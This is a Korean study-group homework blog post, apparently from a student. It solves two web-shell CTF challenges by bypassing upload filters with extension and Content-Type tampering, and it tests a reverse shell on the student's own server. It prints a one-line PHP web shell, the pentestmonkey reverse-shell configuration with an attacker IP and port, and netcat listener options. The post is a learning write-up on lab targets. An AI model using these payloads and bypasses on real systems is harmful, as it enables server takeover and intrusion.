-
14주차 과제모의해킹스터디_과제 2024. 2. 19. 20:51
[1] 웹 서버 개발 제출[2] 웹쉘 2개 CTF 문제 풀기
[3] 개인 웹 서버 : 웹쉘 업로드
+ Reverse shell 연결해보기
[2] 웹쉘 2개 CTF 문제 풀기
1. Web Shell 1
첫번째 문제는 php 웹쉘을 올려서 flag.txt를 찾아내는 것.
수업 시간에 배운 그대로 따라가기만 하면 쉽게 풀 수 있는 문제다. 먼저 업로드할 php 웹쉘 코드를 작성한다. 중요한 것은 웹쉘 코드를 백신 프로그램이 인식해서 없애버리니 이것부터 해결해야 한다.
나는 백신 프로그램 설정에서 검사 예외 폴더를 만들어서 진행했다. 이제 이 안에 웹쉘 파일을 작성한다. 문제에서 php 웹셀이라 했으니 php 코드로 작성하면 된다.
<?php echo system($_GET['cmd']); ?>
이 코드는 수업 시간에 작성해주신 php 웹쉘 코드다. 그대로 php 파일로 작성해서 폴더 안에 넣어준다.
업로드할 파일 준비는 끝났으니 이제 게시판으로 가서 파일을 업로드한다.
이전 문제들처럼 회원가입하고 로그인한다.
그리고 글쓰기를 해보면 전에는 없었던 파일을 업로드할 수 있는 버튼이 생긴 걸 볼 수 있다.
웹쉘을 넣어주고 글을 작성해준다.
그리고 나서 작성된 게시판의 글을 다시 클릭해보면 Download 버튼이 있다. 이걸 클릭해보면 정상적으로 다운로드가 되지 않을 것이다. 사실 다운로드가 되는지는 상관없다.
Burp Suite로 확인해보면 다운로드를 시도했을 때, 그 파일의 위치를 알 수 있다. 이 URL을 복사해서 그 뒤에 GET 파라미터로 cmd 명령어를 입력하면 그 결과가 출력될 것이다.
ls 명령어로 현재 디렉토리의 파일들을 출력해봤다. 결과가 잘 나오는 것을 볼 수 있다. 이제 문제의 "flag.txt" 파일을 찾아야 한다. 찾는데는 find 명령어를 사용한다.
find / -name "flag.txt"
/ : 전체 디렉토리에서 검색
-name : 파일 이름을 검색
flag.txt의 위치를 알아냈다. (같은 값인데 두 번씩 나오는 이유는 모르겠지만..) 이제 이 파일을 읽어내면 된다. 여러 방법이 있겠지만 cat 명령어로 읽어보겠다.
flag 획득했다.
2. Web Shell 2
두번째 문제는 "Web 서버 내에서 flag.txt 파일을 찾아내라" 인데, 첫번째 문제와 다른 건 php 웹쉘을 올리라는 말이 없다는 점. 일단 다른 확장자의 웹쉘을 사용할 가능성도 생각해 둔다.
이전과 같이 진행한다. (같은 DB일줄 알았는데 아니라서 새로 회원가입 해야한다.) 웹쉘 파일도 아까 만들어둔 파일을 올려본다.
다른 점이 생겼다. php 파일은 업로드할 수 없음을 확인했다. 바로 Burp Suite를 확인해본다.
응답 메시지를 확인해보니 jpg, jpeg, png, gif 형식이 아니면 업로드를 제한하는 것 같다. 그렇다면 파일을 png 확장자로 속이고 업로드할 때 php 파일로 바꿔보겠다.
내용은 그대로 두고 확장자 이름만 바꾼 webshell 파일이다. 이대로 작성해보도록 한다.
Burp Suite의 intercept 기능을 켜서 업로드 요청 메세지를 수정한다. webshell.png 를 webshell.php로 바꿨고 Content-Type도 text/php로 바꿨다. webshell 파일 내용이 조금 변경됐는데, 구글링해보니 이게 더 cmd 명령어 입력하기에 좋아서 사용했다. 일단 이렇게 메시지를 변경해서 보내보겠다.
또 막혔다. 업로드 이후 서버에서 한번 더 제한하는 것으로 보인다. 그러니까 게시판에서 파일을 업로드하기 전에 한 번, 업로드하고 나서 또 한 번, 총 두 번을 검사하고 있다.
이 후에 여러가지를 정말 많이 시도했다. hex editor를 다운 받아서 파일 시그니처도 건드려보고, php.jpeg 같은 중복 확장자로 업로드도 해보고 파일 인클루전 공격도 알아보고 했다.
그렇게 찾다가 문득 들어온 게 대소문자 혼용 확장자였다. 업로드 전 검사에서는 확장자를 명시해놔서 소용없겠지만 업로드 이후의 검사 방법은 정확히 알 수 있는게 아니다. 이 부분에서 대소문자 혼용을 제한하지 않을 수도 있겠다는 생각에 시도해봤다.
webshell.png 파일을 업로드하고, 이후 intercept로 pHp 확장자로 변경했다.
무사히 업로드되었다. 그리고 업로드된 파일 경로로 들어가 확인해본다.
???
파일이 실행 결과가 나와야 하는데 파일 자체가 보여진다. 이 방법도 아니다. 그 뒤로 한참동안을 구글링하면서 삽질하다 알아냈다.
전에 했던 방법 중에 burp suite로 업로드한 파일 형식을 바꿔서 업로드했을 때 "업로드 될 수 없는 파일이 탐지되었습니다." 라면서 부정적인 메시지가 나오지만, 잘 보면 글은 작성이 된다!
이런 경우, 작성된 게시글에 다운로드를 할 수 있는 버튼은 없지만, 이전에 파일을 업로드하면서 알아챈 파일 경로로 검색을 해보면
웹쉘이 열리게 된다.
..
정말 오랜시간 방법을 찾아 헤맸는데, 막상 별 거 아니었다. 그냥 안된다는 메시지에 속아 바로 포기했던 게 요인이었다.
그 뒤로는 1번문제처럼 find로 flag 찾으면 된다. 아무튼 이렇게 또 새로운 걸 배웠다. 눈에 보이는 것을 그대로 믿지 말자. 오랜 시간을 들인만큼 이번 교훈은 못 잊을 것 같다.
[3] 개인 웹 서버 : 웹쉘 업로드 (Reverse Shell 업로드해보기)
이전에 만들었던 웹 서버에 웹쉘을 업로드하는 것이 이번 과제인데, 그냥 웹쉘이 아닌 Reverse shell 을 올리는 것이 특징이다. 그럼 먼저 Reverse shell 에 대해 알아보자.
Bind Shell vs Reverse Shell
먼저 바인드쉘은 일반적인 서버의 형태로 서버에서 특정 포트를 열고 기다리면 IP와 포트번호를 아는 외부에서 접속을 하여 쉘을 생성하는 형식이다. 반대로 리버스쉘은 공격자가 특정 포트를 열고 기다리면서 대상 서버로 하여금 접속시키게 하는 형식이다.
해킹에 있어 리버스쉘을 사용하는 이유는 방화벽 때문이다. 서버의 방화벽이 외부에서 서버로 보내는 요청(인바운드 정책)은 세세하게 체크하는 반면에 서버에서 외부로 보내는 요청(아웃바운드 정책)은 비교적 느슨하게 관리한다는 점에서 리버스쉘을 사용하면 방화벽을 뚫기 쉽다.
Reverse Shell 업로드 실습
먼저 reverse-shell-php 파일을 다운로드 받는다. github에서 pentestmonkey님이 올리신 유명한 파일이 있으니 이걸 사용하면 된다. (kali linux에는 기본적으로 reverse shell 파일이 있다고 하는데 못 찾았다.)
reverse-shell-php 파일을 받았으면 수정해야 하는 부분이 있는데, 바로 공격자의 IP와 포트번호다. 나는 내 pc에서 공격을 진행할 것이기 때문에 pc의 ip를 적었고 포트번호는 5555로 했다.
set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.75.1'; // CHANGE THIS $port = 5555; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0;
그리고 netcat으로 내 pc에 5555 포트번호를 열어둔다. 윈도우에서는 netcat을 따로 설치 후 추가적인 설정이 필요하다.
-l : listening mode, 연결 요청을 계속해서 듣고 있는 상태
-v : verbose, 상세 정보를 보여줌
-p : port, 포트번호 (우리는 5555로 했음)
이제 웹 서버에서 공격자 서버로 리버스쉘 요청을 보내게 하면 된다. reverse-shell-php 파일이 그 일을 할 것이고 우리는 이 파일을 웹 서버에서 실행되게 하면 된다. 바로 웹 페이지에 들어가서 파일을 업로드한다.
업로드한 파일의 링크를 복사해서 입력한다. (=실행시킨다)
그리고 요청을 기다리는 powershell을 보면 쉘이 실행된 것을 볼 수 있다. (아래의 이미지는 ls 명령어를 입력한 사진)
php reverse shell을 실행한 브라우저에서 오류가 생겼다는 메시지를 볼 수 있는데 리버스쉘 실행과는 상관없고 딱히 신경쓰지 않아도 된다.
참조
리버스 쉘[Reverse Shell] - 실습
Reverse Shell => 공격대상 서버가 공격자 서버에 접속하도록 하여 얻는 쉘. Reverse shell cheat sheet https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 왜 리버스 쉘이어야 하는가? 리버스쉘이 매력적
lovflag.tistory.com
NC와 바인드쉘, 리버스 쉘
NC(NetCat) TCP or UDP 프로토콜을 이용해 데이터 읽고 쓰는 네트워크 유틸리티 프로그램으로, 서버와 클라이언트 역할 모두 수행하며 proxy, ssl/tls 암호화 통신 등 다양한 기능 지원 거의 모든 종류의
kimkmg.tistory.com